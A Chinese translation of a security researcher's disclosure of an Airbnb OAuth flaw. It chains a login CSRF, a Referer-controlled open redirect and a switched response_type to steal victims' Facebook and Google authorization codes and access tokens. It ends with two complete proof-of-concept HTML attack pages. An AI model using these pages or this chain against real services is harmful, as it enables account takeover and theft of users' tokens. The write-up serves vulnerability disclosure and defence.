重新审视OAuth令牌窃取
大多数(不是全部)已经公开的OAuth令牌盗用攻击示例都依赖于在身份提供者调用过程中的redirect_uri参数值的修改才可以完成攻击,以便从认证的受害者窃取授权码或access_token。这需要在身份提供者的末端为服务提供商的应用程序配置的redirect_uri配置一个(例如URL中的子域名或路径的通配符)的非精确匹配的值。虽然这些攻击的手法是相似的,但它们的相关技术和影响却是不同的:
• 授权码:通常通过回调URL 的跨域泄漏来窃取,该 URL 包含在重定向时身份提供者附加到redirect_uri 这个URL的授权 “ 代码 ”的GET 参数值。 一个常见的例子是在加载跨域资源时通过 HTTP Referer头来窃取。影响的结果通常是服务提供商的身份验证被绕过,因为被盗的“代码”可以用于作为受害者的身份进行登录。
• access_token:通常通过跨域开放的重定向链进行窃取,因为access_token通过身份提供商的URL的位置(又称location.hash)传回,这在所有现代浏览器中进行服务器端重定向跨域都是有效的。影响的结果通常是可以访问受害者的身份提供者,并具有服务提供商的应用程序的权限。FransRosén在Facebook上的一个易受攻击的Slack应用程序中挖到的漏洞就是一个很好的例子。
但是,在研究Airbnb的OAuth设置时,我发现了一些新的东西:
• 通过修改Redirect_uri参数值窃取授权码不起作用了。当服务提供商尝试交换访问令牌的授权码时,大部分身份提供商都实施了额外的服务器端检查,这确保了redirect_uri在一开始是没有被篡改的(如Facebook,Google)。这是件好事。
• 默认情况下,大部分身份提供商不允许在白名单中的redirect_uri列表中出现通配符。主要是因为传统应用仍然很脆弱。这也是件好事。
• 窃取access_token也可能导致身份验证绕过。通常,服务提供商的网站使用“授权代码”流来执行登录,但是他们的移动应用程序会利用本地存储的身份提供者的access_tokens。只要将受保护的access_token替换为受害者的access_token,攻击者就可以在服务提供商的移动应用上作为受害者进行身份认证。这不是一件好事。
Airbnb案例分析
在Airbnb的网站中,不允许对Airbnb应用程序的redirect_uri进行任何篡改,Facebook和Google只允许url的值出现在本地化的Airbnb站点列表。然而,Airbnb的移动应用程序确实使用身份提供商的长期访问权限来透明地对用户进行身份验证,这样我们就可以增加对身份验证的影响,以防止攻击者可以窃取access_token。
在OAuth端点的开放式重定向
如果未经身份验证的用户浏览到www.airbnb.com上需要身份验证的页面(例如https://www.airbnb.com/users/edit),则他/她会被重定向到登录页面。但是,通过身份提供者成功登录后,用户将会自动重定向到他/她最初请求的原始页面。该功能是通过Airbnb的redirect_params控制器实现的,没有在该控制器中发现开放的重定向漏洞。
但是,如果用户已经登录到Airbnb,并从身份提供者返回时,则/ oauth_callback端点将根据最初的OAuth登录调用 / oauth_connect中的HTTP Referer头自动重定向用户。 因此,OAuth流中的这种重定向返回再登录的功能,完全基于HTTP Referer头,因此,可以由攻击者来控制。
该漏洞的PoC会在下面的视频中进行演示。 首先,我们在浏览器中打开两个airbnb.com/login。 之后,我们尝试访问/users/edit,这会导致额外的redirect_params控制器的GET参数被添加到我们的URL。 在第一个Airbnb浏览器标签中成功登录后,我们再次通过第二个浏览器标签“使用Facebook登录”。 在跳转到https://www.airbnb.cat/oauth_connect时,我们手动更改HTTP Referer头,然后成功登录到了Facebook上,用户最终将会跳转到更改过的Referer值的网站上。 需要注意的是,用户必须成功登录才能进行最终的重定向。
漏洞POC 演示视频
当然,这个视频只能说明这个漏洞的根本原因,不是一个实用的利用方式。为了获得成功,攻击者必须完成另外三件事情:在向Airbnb(2)进行身份验证的同时,使用任意的HTTP Referer头(1)伪造对脆弱端点的请求,并获取一些敏感数据,如URL中的OAuth令牌( 3)这能够有效的窃取有用的东西。使用任意的HTTP Referer头向易受攻击的端点发出请求是非常容易的:在攻击者的控制下简单地将外部资源嵌入到网页中将使浏览器自动发送Referer头。
OAuth登录CSRF和OAuth令牌窃取
由Facebook和Google在GET参数中向Airbnb端点传回的没有多大用处的OAuth授权码在重定向期间将会丢失。然而,两个身份提供者也通过URL片段(URL中的#之后的部分)提供access_tokens的通信,而不是URL参数。URL片段只存在于客户端,并且在重定向期间被浏览器适当地保存并且可以从JavaScript访问,即使是来自于完全不同的源的重定向链中的最后一个页面。但是,还有一些其他问题:
• 如果我们想从身份提供者那里检索URL片段以便以后窃取,我们必须能够修改对提供者的OAuth请求调用(将“token”添加到response_type参数)。但是,此请求仅在发起跳转到具有整体攻击所必需的open-redirect-through-HTTP-referer头的Airbnb OAuth端点https://www.airbnb.cat/oauth_connect之后才会发送。
• Airbnb的回调端点期望通过来自身份提供者的URL GET参数的授权码。但是,当接收到URL片段时,会认为认证尝试无效,因此不会执行最终的重定向,因为我们还没有登录。
这两个问题都是通过使用同一个OAuth端点的登录过程的CSRF漏洞来解决的,因为OAuth登录是通过一个可伪造的GET调用启动到https://www.airbnb.cat/oauth_connect。攻击者首先通过身份提供者透明地将他/她的受害者无意中登录到自己的Airbnb帐户,然后通过HTTP Referer头设置重定向的URL。现在受害者被认证为Airbnb。请注意,有适当的OAuth CSRF保护(“state”参数),但是由于我们将受害者认证为自己的帐户,因此这并不妨碍任何事情。
特别要说的是,任何附加的OAuth身份验证流程将遵循完全相同的路径,无论是否成功!现在,当攻击者再次强迫受害者通过Facebook / Google进行额外的登录,但是使用response_type 代码时,令牌与正常代码是相反的,较早的重定向流程仍然可以工作。具体来说,由于我们还是登录了,所以会发生重定向到任意的HTTP Referer头指定的URL值,这次是包含受害者身份提供商OAuth令牌的URL片段。
设计了两个PoC,分别对应两个身份提供者。思路是完全一样的:
1. 受害者在浏览器标签中对Facebook / Google进行身份验证,并有一个与其相关联的Airbnb帐户,但不一定要登录到Airbnb。
2. 受害者在攻击者控制下打开一个网站(例如在POC视频中的https://www.arneswinnen.net/airbnb.com.<IDP>.html)
3. 攻击者的网站将首先不知不觉地将受害者登录到Airbnb。为了不干扰潜在的现有的Airbnb会话(如果受害者正在浏览Airbnb),我们选择在此PoC中使用www.airbnb.cat本地化的域。通过从攻击者所拥有的网站执行此登录CSRF,对GET OA登录端点的请求中的HTTP Referer头将保存攻击者网站的值,并在此设置跳转的地址。
4. 一旦受害者不知不觉地登录到www.airbnb.cat,攻击者现在就可以代表受害者再次创建一个Airbnb的OAuth认证请求。然而,这一次,请求直接发送到Facebook / Google(正常OAuth流程中的第二步),因此允许攻击者将令牌的response_type设置为“code,token”(URL Fragments)而不是“code”( URL参数)。请注意,我们保持与redirect_uri参数完全相同的值。
5. 由于受害者目前已登录,以前注册的重定向到https://www.arneswinnen.net/airbnb.com.<IDP>.html仍然有效,IDP响应的URL片段中的OAuth令牌将最终在攻击者的网站上。这里可以使用一个简单的JavaScript语句可以读取浏览器中的URL Fragment,并且有效地窃取“code”和“token”两者的OAuth值。
演示视频一
演示视频二
攻击者现在做到了两件事情:
• “code”OAuth令牌,可用于对airbnb.com作为受害者进行身份验证。这是因为在我们的攻击中redirect_uri没有被更改,我们只是将其从GET参数更改为URL片段(参见步骤4)。
• “access_token”OAuth令牌,可用于在身份验证提供者上查询受害者的信息,并将其作为Airbnb移动应用程序上的受害者用户进行身份验证。
下面你可以在PoC中找到托管在https://www.arneswinnen.net上的两个HTML文件的源代码 – 它们已被删除。
airbnb.com.gmail.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
alert(window.location.hash)
window.stop()
// Fragment exists
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" οnlοad="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=google_login&service=google');"></object>
<object id=googlepage width="400" height="50" οnlοad="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-j87bjniqthcq1e4hbf1msh3fikqn892p.apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>
airbnb.com.facebook.html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.location.hash) {
alert(window.location.hash)
window.stop()
}
</script>
<object id=loginpage data="https://www.airbnb.cat/login/" οnlοad="alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook');"></object>
<object id=googlepage width="400" height="50" οnlοad="alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';"></object>
</body>
</html>